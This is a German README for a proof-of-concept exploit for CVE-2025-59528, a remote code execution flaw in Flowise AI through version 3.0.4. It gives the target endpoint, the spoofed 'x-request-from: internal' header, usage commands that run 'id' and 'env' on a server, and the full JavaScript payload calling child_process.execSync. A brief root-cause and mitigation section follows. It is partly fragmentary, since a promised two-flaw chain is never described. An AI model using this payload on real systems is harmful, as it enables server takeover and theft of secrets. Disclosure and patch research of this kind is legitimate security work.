
Python-PoC-Exploit für CVE-2025-59528, das authentifizierte RCE auf Flowise AI <= 3.0.4 über den customMCP-Endpunkt und Node.js child_process.execSync erreicht.
CVE-ID: CVE-2025-59528
Betroffene Software: Flowise AI
Verwundbare Versionen: <= 3.0.4
Behobene Version: 3.0.5 und später
Schweregrad: Kritisch
Autor: arensballiu
Datum: 2025
Flowise AI-Versionen bis einschließlich 3.0.4 ermöglichen es einem authentifizierten Benutzer, Remote Code Execution (RCE) auf dem Host-Server zu erreichen, indem eine manipulierte JavaScript-Nutzlast an den Endpunkt /api/v1/node-load-method/customMCP gesendet wird.
Die Lade-Methode des customMCP-Knotens akzeptiert benutzergesteuerte Eingaben, die serverseitig als JavaScript ausgewertet werden, ohne ausreichende Bereinigung oder Sandboxing. Durch das Einschleusen einer Nutzlast, die Node.js' child_process.execSync ausnutzt, kann ein Angreifer beliebige Betriebssystembefehle mit den Privilegien des Flowise-Serverprozesses ausführen.
Der Endpunkt erfordert außerdem das Vorhandensein des Headers x-request-from: internal.
| Endpunkt | Methode | Authentifizierung erforderlich | Zweck |
|---|---|---|---|
/api/v1/auth/login | POST | Nein | Authentifizieren und Sitzung erhalten |
/api/v1/node-load-method/customMCP | POST | Ja (Sitzungs-Cookie) | Verwundbarer Endpunkt der Knoten-Lade-Methode |
Datei: CVE-2025-59528_POC.py
requests-Bibliothekpip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| Flag | Langform | Erforderlich | Beschreibung |
|---|---|---|---|
-e | --email | Ja | E-Mail-Adresse des authentifizierten Benutzers |
-i | --url | Ja | Basis-URL der Flowise-Instanz |
-p | --password | Ja | Passwort des authentifizierten Benutzers |
-c | --cmd | Ja | Auf dem Server auszuführender Betriebssystembefehl |
Codeausführung überprüfen:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Server-Umgebungsvariablen abrufen:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
Der Exploit injiziert den folgenden JavaScript-Ausdruck in das Feld mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') - lädt das integrierte Prozessausführungsmodul von Node.js.execSync('<command>') - führt den vom Angreifer gelieferten Betriebssystembefehl synchron aus.Der Header x-request-from: internal wird ebenfalls an die Anfrage angehängt, um eine interne Ursprungsprüfung zu bestehen, die den Aufruf andernfalls blockieren würde.
Der customMCP-Endpunkt übergibt vom Benutzer gelieferte Eingaben direkt in einen JavaScript-Auswertungskontext auf dem Server, ohne Bereinigung oder Sandboxing. In Kombination mit dem uneingeschränkten Zugriff auf Node.js-Kernmodule (insbesondere child_process) über process.mainModule.require entsteht dadurch ein trivial ausnutzbarer RCE-Vektor. Die Prüfung des x-request-from-Headers bietet keine aussagekräftige Sicherheitsgrenze, da sie nicht gegen eine vertrauenswürdige Quelle validiert wird.
Diese beiden Schwachstellen können für einen nicht authentifizierten RCE-Angriffspfad gegen Flowise-Instanzen mit den Versionen <= 3.0.4 verkettet werden:
child_process, fs usw.) über eine ordnungsgemäße Sandbox (z. B. vm2, isolierte Kontexte oder Entfernen des Zugriffs auf process.mainModule).x-request-from-Header über einen serverseitigen Mechanismus statt über eine einfache Zeichenkettenprüfung.Dieser Proof of Concept wird ausschließlich für Bildungszwecke und autorisierte Sicherheitsforschung bereitgestellt. Die Verwendung dieses Skripts gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch. Der Autor und die Mitwirkenden übernehmen keine Haftung für Missbrauch.